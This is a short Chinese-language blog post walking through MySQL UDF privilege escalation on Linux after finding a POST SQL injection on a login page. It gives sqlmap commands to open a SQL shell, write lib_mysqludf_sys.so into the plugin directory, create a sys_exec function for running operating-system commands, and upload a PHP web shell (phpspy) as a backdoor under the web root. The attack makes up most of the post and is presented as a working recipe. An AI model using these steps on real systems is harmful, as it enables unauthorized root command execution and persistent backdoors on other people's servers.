Linux下MySQL Udf 提权 - r34l!ty - 不负勇往
MENU

Linux下MySQL Udf 提权

February 14, 2014 • Security

环境登录页面有POST注入漏洞,于是果断操起sqlmap跑数据,无意中发现当前MySQL连接用户为root,于是想到udf提权「虽然Windows下MySQL提权基本上没问题,但是Linux环境下原来一直没成功过。」,最终成功获取root权限「主要问题在于MySQL是以root权限运行」,:

具体步骤如下

1.找到MySQL插件目录:

python sqlmap.py -u 'http://xxxx' --sql-shell

 show variables like "%plugin%";

2.利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录;

python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so 
 --file-dest=/usr/lib/mysql/plugin/

1.激活存储过程「sys_exec」函数:

python sqlmap.py -u 'http://xxxx' --sql-shell

 CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so

 SELECT * FROM information_schema.routines

 sys_exec(id);

2.也利用sqlmap上传后门程序:

python sqlmap.py -u 'http://xxx'  --file-write=C:/phpspy.php --file-dest=/var/www/spy.php

测试环境

  • Linux Ubuntu 11.04 (Natty Narwhal)

PHP 5.3.5, Apache 2.2.17

MySQL 5.0

参考资料

http://forelsec.blogspot.com/2012/08/solving-pwn0s-v2.html
http://github.com/mysqludf/lib_mysqludf_sys
http://code.google.com/p/mysql-udf-http/

Archives QR Code
QR Code for this page
Tipping QR Code